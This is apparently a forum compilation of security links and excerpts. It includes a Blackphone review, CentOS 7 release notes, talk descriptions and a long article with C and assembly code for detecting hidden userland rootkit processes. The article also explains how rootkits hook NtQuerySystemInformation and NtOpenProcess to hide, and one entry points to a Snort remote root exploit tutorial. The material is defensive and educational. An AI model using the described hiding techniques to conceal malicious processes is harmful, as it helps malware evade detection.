[h=1]A review of the Blackphone, the Android for the paranoid[/h][h=2]Custom-built with privacy in mind, this handset isn’t for (Google) Play.[/h] by Sean Gallagher - June 30 2014, 4:00am GTBST Built for privacy, the Blackphone runs a beefed-up Android called PrivatOS. Based on some recent experience, I'm of the opinion that smartphones are about as private as a gas station bathroom. They're full of leaks, prone to surveillance, and what security they do have comes from using really awkward keys. While there are tools available to help improve the security and privacy of smartphones, they're generally intended for enterprise customers. No one has had a real one-stop solution: a smartphone pre-configured for privacy that anyone can use without being a cypherpunk. That is, until now. The Blackphone is the first consumer-grade smartphone to be built explicitly for privacy. It pulls together a collection of services and software that are intended to make covering your digital assets simple—or at least more straightforward. The product of SGP Technologies, a joint venture between the cryptographic service Silent Circle and the specialty mobile hardware manufacturer Geeksphone, the Blackphone starts shipping to customers who preordered it sometime this week. It will become available for immediate purchase online shortly afterward. Articol complet: Exclusive: A review of the Blackphone, the Android for the paranoid | Ars Technica

[h=1]CentOS 7.0.1406 Release Notes[/h] Last updated: July 07, 2014 Contents Translations Introduction Install Media Verifying Downloaded Installation Images Major Changes Deprecated Features Known Issues Fixed Issues Packages and Applications Packages modified by CentOS Packages removed from CentOS that are included upstream Packages added by CentOS that are not included upstream Sources How to help and get help Special Interest Groups Mailing Lists and Fora Wiki and Website [*]Further Reading [*]Thanks Sursa: Manuals/ReleaseNotes/CentOS7 - CentOS Wiki

Hidden Process Detection Hiding the Rootkit Process Detecting the Hidden Rootkit Process Hidden Process Detection [HPD] using Direct NT System Call Implemenation Hidden Process Detection [HPD] using PIDB (Process ID Bruteforce) method Hidden Process Detection [HPD] with CSRSS Process Handle Enumeration Other Methods of Detecting Hidden Processes References Hiding the Rootkit Process TOP Rootkits use variety of methods to hide their processes from detection as well as termination. One of the best methods the userland rootkit can employ to evade its detection is to hook the NtOpenProcess function and return negative result for its processes. This can not only protect rootkit processes from most of the detection methods, but also prevent its termination. However, anti-rootkit software's typically use NtQuerySystemInformation to enumerate all the process ids, various handles related to process to uncover any hidden processes. To prevent against such detection, rootkits hook the NtQuerySystemInformation and temper with the results to cover all its tracks. Detecting the Hidden Rootkit Process TOP Detection of hidden process is equally challenging as rootkit can employ one or more methods to cover its presence. Here are some of the very effective methods to detect any such rootkit processes. All these detection methods work on common approach. First the list of running processes is obtained through standard API functions such as EnumProcesses or Process32First. Then any of the below methods is used to enumerate the processes and then that list is compared with previously obtained list through standard functions to find out hidden rootkit process. HPD using Direct NT System Call Implemenation TOP This is very effective method to detect any hidden userland rootkit processes. One of the lesser-known methods of enumerating the processes is to use NtQuerySystemInformation function by passing first parameter as SystemProcessesAndThreadsInformation. The drawback of this method is that it can be easily circumvented by hooking the NtQuerySystemInformation function and then by tampering with the results. The NtQuerySystemInformation is basically stub having few lines of code to transition from user to kernel land. It finally calls the NtQuerySystemInformation function within the kernel. So the trick here is to implement the NtQuerySystemInformation without directly calling the function. Here is the sample code that shows how one can directly implement NtQuerySystemInformation on various platforms. On Windows2000, INT 2E and from XP onwards 'sysenter' instruction is used to transition from user to kernel. __declspec(naked) NTSTATUS __stdcall DirectNTQuerySystemInformation (ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { //For Windows 2000 if( OSMajorVersion == 5 && OSMinorVersion == 0 ) { __asm { mov eax, 0x97 lea edx, DWORD PTR ss:[esp+4] INT 0x2E ret 0x10 } } //For Windows XP if( OSMajorVersion == 5 && OSMinorVersion == 1 ) { __asm { mov eax, 0xAD call SystemCall_XP ret 0x10 SystemCall_XP: mov edx, esp sysenter } } //For Windows Vista & Longhorn if( OSMajorVersion == 6 && OSMinorVersion == 0 ) { __asm { mov eax, 0xF8 call SystemCall_VISTA ret 0x10 SystemCall_VISTA: mov edx, esp sysenter } } //For Windows 7 if( OSMajorVersion == 6 && OSMinorVersion == 1 ) { __asm { mov eax, 0x105 call SystemCall_WIN7 ret 0x10 SystemCall_WIN7: mov edx, esp sysenter } } } } This technique can discover any userland rootkit process and only way for rootkit process to defeat against this technique is to move into kernel. However, due to low-level implementation, there is slight risk in using this method in production code. HPD using PIDB (Process ID Bruteforce) method TOP This method was first used by BlackLight and it turned out to be very effective yet simple. Here, it enumerates through process id from 0 to 0x41DC and then check if that process exist by calling OpenProcess function. Then this list of discovered processes are compared with normal process list got using standard enumeration functions (such as Process32First, EnumProcesses functions). During the testing, it is found that some process id on server machines were more than magic number 0x41DC. So in order to be effective the magic number is doubled to take care of all possible running processes on latest operating systems. Here is the sample code that implements PIDB method: for(int i=0; i < 0x83B8; i+=4) { //These are system idle and system processes if( i == 0 || i==4 ) { continue; } hprocess = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, i); if( hprocess == NULL ) { if( GetLastError() != ERROR_INVALID_PARAMETER) { // If the error code is other than // ERROR_INVALID_PARAMETER that means this // process exists but we are not able to open. //check if this process is already discovered //using standard API functions. if( IsHiddenProcess(i) ) { printf("\n Hidden process found %d", i); } } continue; } dwExitCode = 0; GetExitCodeProcess(hprocess, &dwExitCode); // check if this is active process... // only active process will return error // code as ERROR_NO_MORE_ITEMS if( dwExitCode == ERROR_NO_MORE_ITEMS ) { //check if this process is already discovered if( IsHiddenProcess(i) ) { printf("\n Hidden process found %d", i); } } CloseHandle(hprocess); } Though this is very effective method, rootkit can easily defeat this technique by hooking OpenProcess or its native version NTOpenProcess function and then returning NULL with error code as ERROR_INVALID_PARAMETER. To defend against such tricks anti-rootkit softwares can call NtOpenProcess using direct system call method as shown in "Detection of Hidden Process using Direct NT System Call Implemenation". HPD with CSRSS Process Handle Enumeration TOP Any windows process when run will have lot of open handles realted to process, thread, named objects, file, port, registry, etc. that can be used to detect hidden process. One can use the native API function. The effective way to enumerate handles is to use NtQuerySystemInformation with first parameter as SystemHandleInformation. It lists the handles from all running processes in the system. For each enumerated handle, it provides information such as handle, handle type and process id of the owning process. Hence, by enumerating through all the handles and then using the associated process id, one can detect all possible hidden processes that are not revealed through standard API functions. There is one interesting system process called CSRSS.EXE, which holds the handles to all running processes. So instead of going through all the different handles, one can just scroll through the process handles of CSRSS.EXE process. Interestingly this method can, not only detect userland hidden processes but also some of the rootkit processes which have used kernel land techniques without taking care of hiding process handles within CSRSS.EXE process. Here is the code snippet, which can demonstrate this method: PVOID bufHandleTable = malloc(dwSize); status = NtQuerySystemInformation (SystemHandleInformation, bufHandleTable, dwSize, 0); SYSTEM_HANDLE_INFORMATION *HandleInfo = (SYSTEM_HANDLE_INFORMATION *) bufHandleTable; // Process handles within CSRSS will not have handle // to following processes system idle process, system // process, smss.exe, csrss.exe. for(int i=0; i< HandleInfo->NumberOfHandles; i++) { int pid = HandleInfo->Handles.UniqueProcessId; // For XP & 2K3 : HANDLE_TYPE_PROCESS = 0x5 // For Vista & Longhorn : HANDLE_TYPE_PROCESS = 0x6 if( HandleInfo->Handles.ObjectTypeIndex == HANDLE_TYPE_PROCESS) { //check if this process id is that of CSRSS.EXE process. if( IsCSRSSProcess(pid) ) { hprocess = OpenProcess(PROCESS_DUP_HANDLE, false, pid); if( hprocess ) { if( DuplicateHandle(hprocess, (HANDLE)HandleInfo->Handles.Handle, GetCurrentProcess(), &tprocess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 0)) { targetPid = GetProcessId(tprocess); //check if this is hidden process if( IsHiddenProcess(targetPid) ) { printf("\n Found hidden process %d", targetPid); } } }// End of if( hprocess ) } // End of if( IsCSRSSProcess(pid) ) } // End of if } // End of for-loop Since the CSRSS.EXE is not first process started when Windows boots, it does not contains handles to already started processes such as system idle process(pid=0), system process (pid=4), smss.exe and its process itself. On Windows Vista system it is possible to more than one CSRSS.EXE process in case of multiple users logged in. Same situation arises on XP system, when more than one user is operating through 'Switch User' mechanism. In such case, one has to check if the enumerated process belongs to any of these CSRSS process ids. The function IsCSRSSProcess() above does exactly the same by comparing the discovered process id with list of all running CSRSS.EXE processes. One more way is to enumerate all thread handles within CSRSS process instead of process handles, as most rootkits are aware of this technique. The CSRSS process not only has process handles but also thread handles for every running processes. Once the thread handle is known, one can use GetProcessIdOfThread function to get process id associated with that thread after duplicating it. Though any rootkit process can defeat this technique by hooking NtQuerySystemInformation or NtOpenProcess function, it can easily be circumvented by using direct implementation of these native API functions as described in the "Detection of Hidden Process using Direct NT System Call Implemenation". Other Methods of Detecting Hidden Processes TOP There exists several other userland methods to detect hidden rootkit processes, but they are not as effective as the ones described above. However they can be used on need basis and often to target specific rootkit. One such method is to enumerate through all the open Windows created by the processes within the system using EnumWindows API function and then calling the GetWindowThreadProcessId function to get the process id associated with that Window. Here is the sample code that does the same... //Setup the callback function to enumerate through windows EnumWindows(EnumWindowsProc, NULL); //This is callback function to enumerate windows BOOL CALLBACK EnumWindowsProc(HWND hwnd, PARAM lParam) { DWORD procId; GetWindowThreadProcessId(hwnd, &procId); if( IsHiddenProcess(procId) ) { printf("Found hidden process %d", procId); } } There exist several other ways to detect the hidden processes in user land and new ways are being discovered everyday. Though these detection techniques can be easily defeated from kernel land, they present simple and less risky mechanism to uncover the userland rootkits. References TOP 1. http://rootkit.com/newsread.php?newsid=434 2. CsrWalker - processes detection from User Mode - Sysinternals Forums - Page 1 Sursa: Userland - Hidden Process Detection - RootkitAnalytics.com

Writing Buffer Overflows By Haxor Magee Description: Vulnerable App - Snort <= 1.9.1 - Remote Root Exploit (p7snort191.sh)... (download it at the top) Immunity Debugger- http://debugger.immunityinc.com/regis... perl for windows- ActivePerl is Perl for Windows, Mac, Linux, AIX, HP-UX & Solaris | ActiveState... Use windows xp 32 bit for testing!! Sursa: Writing Buffer Overflows By Haxor Magee

Ccc Camp 11 Black Ops Of Tcp/Ip 2011 Description: Black Ops of TCP/IP 2011 Remember when networks represented interesting targets, when TCP/IP was itself a vector for messiness, when packet crafting was a required skill? In this thoroughly retro talk, we're going to play with systems the old fashioned way, cobbling together various interesting behaviors with the last few shreds of what low level networking has to offer. Here's a few things to expect: * IPv4 and IPv6 Fragmentation Attacks, Eight Years In The Making * TCP Sequence Number Attacks In Modern Stacks * IP TTLs: Not Actually Expired * Inverse Bug Hunting: More Things Found On The Open Net * Rebinding Attacks Against Enterprise Infrastructure * BitCoin: Network Manipulation for Fun And (Literal) Profit * The Net Neutrality Transparency Engine DNS might show up, and applications are going to be poked at. But this will be an old style networking talk, through and through. For More Information please visit : - Camp 2011: Sursa: Ccc Camp 11 Black Ops Of Tcp/Ip 2011

Nick Walker: Android Security Assessments 101 Description: Following a warm welcome to Securi-Tay 2 by Paul Dalton (chair of the organising committee), Nick Walker (@tel0seh) discussed the security implications of Android applications, and demonstrated exploiting an Android device using the Mercury 2.0 framework as Securi-Tay 2's opening and keynote speaker. Securi-Tay 2 took place on 16th January 2013 at the University of Abertay Dundee. For more information, please visit: http://www.Securi-Tay.co.uk Abertay Ethical Hacking Society: Ethicalhackingsociety.com Abstract: Android has firmly established it's place as a contender in the smartphone market in recent years, and the number of applications available for the operating system has increased drastically. Our phones live in our pockets and contain vast amounts of information about ourselves, as we rely on them for everything from communication, to purchases and banking. The security of these applications is obviously imperative, yet the technology and the security of such is widely misunderstood. This talk will explore the security implications of developing android applications, and a walkthrough of a methodology used by security consultants to identify vulnerabilities. (featuring Mercury 2.0) For More Information please visit :- Mailing List Signup - Securi-Tay Information Security Conference https://www.youtube.com/channel/UC8Z30xDABAC_KgVFR9Nt75A?&channel=AbertayHackers Sursa: Nick Walker: Android Security Assessments 101

Ccc Camp 11 Ios Application Security Description: iOS application security A look at the security of 3rd party iOS applications Over the last few years there has been a signifant amount of iPhone and iPad application development going on. Although based on Mac OSX, its development APIs are new and very specific to the iPhone and iPad. In this presentation, Ilja van Sprundel, Principal Security Consultant at IOActive, will discuss lessons learned from auditing iPhone and iPad applications over the last year. It will cover the use of specific APIs, why some of them aren't granular enough, and why they might expose way too much attack surface. The talk will cover ssl, xml, url handling, UIWebViews and more. Furthermore, it will also cover what apps are allowed to do when inside their sandbox once an application has been hacked. For More Information please visit : - Camp 2011: Sursa: Ccc Camp 11 Ios Application Security